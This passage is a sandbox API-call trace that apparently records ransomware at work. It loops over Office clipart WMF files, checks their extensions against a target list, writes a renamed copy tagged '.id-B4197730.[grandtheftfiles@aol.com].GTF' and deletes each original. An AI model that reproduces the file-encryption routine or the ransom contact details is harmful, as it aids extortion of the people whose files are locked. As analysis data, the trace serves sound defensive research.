	[0179.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.155] lstrlenW (lpString=".zip") returned 4
	[0179.155] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.155] lstrlenW (lpString=".rar") returned 4
	[0179.155] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.155] lstrlenW (lpString=".bz2") returned 4
	[0179.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.155] lstrlenW (lpString=".7z") returned 3
	[0179.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.155] lstrlenW (lpString=".dbf") returned 4
	[0179.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.155] lstrlenW (lpString=".1cd") returned 4
	[0179.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68
	[0179.155] lstrlenW (lpString=".jpg") returned 4
	[0179.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.155] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.155] lstrlenW (lpString="J0157177.WMF") returned 12
	[0179.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.156] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=21716) returned 1
	[0179.156] CloseHandle (hObject=0x540) returned 1
	[0179.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 0x220
	[0179.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.156] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.157] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.157] GetLastError () returned 0x0
	[0179.157] ReadFile (in: hFile=0x540, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x54d4, lpOverlapped=0x0) returned 1
	[0179.480] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x54e0, lpOverlapped=0x0) returned 1
	[0179.485] ReadFile (in: hFile=0x540, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.485] WriteFile (in: hFile=0x558, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.486] SetEndOfFile (hFile=0x558) returned 1
	[0179.527] CloseHandle (hObject=0x558) returned 1
	[0179.534] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.534] SetEndOfFile (hFile=0x540) returned 1
	[0179.551] CloseHandle (hObject=0x540) returned 1
	[0179.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.633] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0157177.wmf")) returned 1
	[0179.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.643] lstrlenW (lpString=".doc") returned 4
	[0179.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString=".docx") returned 5
	[0179.644] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.644] lstrlenW (lpString=".pdf") returned 4
	[0179.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString=".xls") returned 4
	[0179.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.644] lstrlenW (lpString=".xlsx") returned 5
	[0179.644] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.644] lstrlenW (lpString=".ppt") returned 4
	[0179.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.644] lstrlenW (lpString=".zip") returned 4
	[0179.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.644] lstrlenW (lpString=".rar") returned 4
	[0179.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString=".bz2") returned 4
	[0179.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString=".7z") returned 3
	[0179.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.644] lstrlenW (lpString=".dbf") returned 4
	[0179.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.644] lstrlenW (lpString=".1cd") returned 4
	[0179.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.644] lstrlenW (lpString=".jpg") returned 4
	[0179.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.644] lstrlenW (lpString=".doc") returned 4
	[0179.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.644] lstrlenW (lpString=".docx") returned 5
	[0179.644] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0179.645] lstrlenW (lpString=".pdf") returned 4
	[0179.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.645] lstrlenW (lpString=".xls") returned 4
	[0179.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.645] lstrlenW (lpString=".xlsx") returned 5
	[0179.645] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0179.645] lstrlenW (lpString=".ppt") returned 4
	[0179.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.645] lstrlenW (lpString=".zip") returned 4
	[0179.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.645] lstrlenW (lpString=".rar") returned 4
	[0179.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.645] lstrlenW (lpString=".bz2") returned 4
	[0179.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.645] lstrlenW (lpString=".7z") returned 3
	[0179.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.645] lstrlenW (lpString=".dbf") returned 4
	[0179.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.645] lstrlenW (lpString=".1cd") returned 4
	[0179.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0157177.WMF") returned 68
	[0179.645] lstrlenW (lpString=".jpg") returned 4
	[0179.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.645] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.645] lstrlenW (lpString="J0168644.WMF") returned 12
	[0179.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.784] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20906) returned 1
	[0179.784] CloseHandle (hObject=0x504) returned 1
	[0179.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 0x220
	[0179.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0179.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0179.785] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.785] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0179.786] GetLastError () returned 0x0
	[0179.786] ReadFile (in: hFile=0x504, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x51aa, lpOverlapped=0x0) returned 1
	[0179.802] WriteFile (in: hFile=0x57c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x51b0, lpOverlapped=0x0) returned 1
	[0179.803] ReadFile (in: hFile=0x504, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.803] WriteFile (in: hFile=0x57c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.804] SetEndOfFile (hFile=0x57c) returned 1
	[0179.809] CloseHandle (hObject=0x57c) returned 1
	[0179.810] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.811] SetEndOfFile (hFile=0x504) returned 1
	[0179.821] CloseHandle (hObject=0x504) returned 1
	[0179.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0179.822] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0168644.wmf")) returned 1
	[0179.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.822] lstrlenW (lpString=".doc") returned 4
	[0179.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString=".docx") returned 5
	[0179.823] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.823] lstrlenW (lpString=".pdf") returned 4
	[0179.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString=".xls") returned 4
	[0179.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.823] lstrlenW (lpString=".xlsx") returned 5
	[0179.823] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.823] lstrlenW (lpString=".ppt") returned 4
	[0179.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.823] lstrlenW (lpString=".zip") returned 4
	[0179.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.823] lstrlenW (lpString=".rar") returned 4
	[0179.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString=".bz2") returned 4
	[0179.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString=".7z") returned 3
	[0179.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.823] lstrlenW (lpString=".dbf") returned 4
	[0179.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.823] lstrlenW (lpString=".1cd") returned 4
	[0179.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.823] lstrlenW (lpString=".jpg") returned 4
	[0179.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.823] lstrlenW (lpString=".doc") returned 4
	[0179.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.823] lstrlenW (lpString=".docx") returned 5
	[0179.823] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0179.823] lstrlenW (lpString=".pdf") returned 4
	[0179.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.824] lstrlenW (lpString=".xls") returned 4
	[0179.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.824] lstrlenW (lpString=".xlsx") returned 5
	[0179.824] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0179.824] lstrlenW (lpString=".ppt") returned 4
	[0179.824] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.824] lstrlenW (lpString=".zip") returned 4
	[0179.824] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.824] lstrlenW (lpString=".rar") returned 4
	[0179.824] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.824] lstrlenW (lpString=".bz2") returned 4
	[0179.824] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.824] lstrlenW (lpString=".7z") returned 3
	[0179.824] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.824] lstrlenW (lpString=".dbf") returned 4
	[0179.824] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.824] lstrlenW (lpString=".1cd") returned 4
	[0179.824] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0168644.WMF") returned 68
	[0179.824] lstrlenW (lpString=".jpg") returned 4
	[0179.824] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.824] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0179.824] lstrlenW (lpString="J0172193.WMF") returned 12
	[0179.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.003] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12696) returned 1
	[0180.003] CloseHandle (hObject=0x568) returned 1
	[0180.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 0x220
	[0180.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0180.003] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.003] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.004] GetLastError () returned 0x0
	[0180.004] ReadFile (in: hFile=0x568, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3198, lpOverlapped=0x0) returned 1
	[0180.006] WriteFile (in: hFile=0x504, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x31a0, lpOverlapped=0x0) returned 1
	[0180.007] ReadFile (in: hFile=0x568, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.007] WriteFile (in: hFile=0x504, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.007] SetEndOfFile (hFile=0x504) returned 1
	[0180.007] CloseHandle (hObject=0x504) returned 1
	[0180.007] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.007] SetEndOfFile (hFile=0x568) returned 1
	[0180.010] CloseHandle (hObject=0x568) returned 1
	[0180.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0172193.wmf")) returned 1
	[0180.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.011] lstrlenW (lpString=".doc") returned 4
	[0180.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.011] lstrlenW (lpString=".docx") returned 5
	[0180.011] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0180.011] lstrlenW (lpString=".pdf") returned 4
	[0180.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.011] lstrlenW (lpString=".xls") returned 4
	[0180.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.011] lstrlenW (lpString=".xlsx") returned 5
	[0180.011] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0180.011] lstrlenW (lpString=".ppt") returned 4
	[0180.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0180.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.011] lstrlenW (lpString=".zip") returned 4
	[0180.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0180.012] lstrlenW (lpString=".rar") returned 4
	[0180.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString=".bz2") returned 4
	[0180.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString=".7z") returned 3
	[0180.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.012] lstrlenW (lpString=".dbf") returned 4
	[0180.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.012] lstrlenW (lpString=".1cd") returned 4
	[0180.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.012] lstrlenW (lpString=".jpg") returned 4
	[0180.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0172193.WMF") returned 68
	[0180.012] lstrlenW (lpString=".doc") returned 4
	[0180.012] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString=".docx") returned 5
	[0180.012] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0180.012] lstrlenW (lpString=".pdf") returned 4
	[0180.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0180.012] lstrlenW (lpString=".xls") returned 4
	[0180.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0180.012] lstrlenW (lpString=".xlsx") returned 5
	[0180.012] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0180.012] lstrlenW (lpString=".ppt") returned 4
	[0180.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
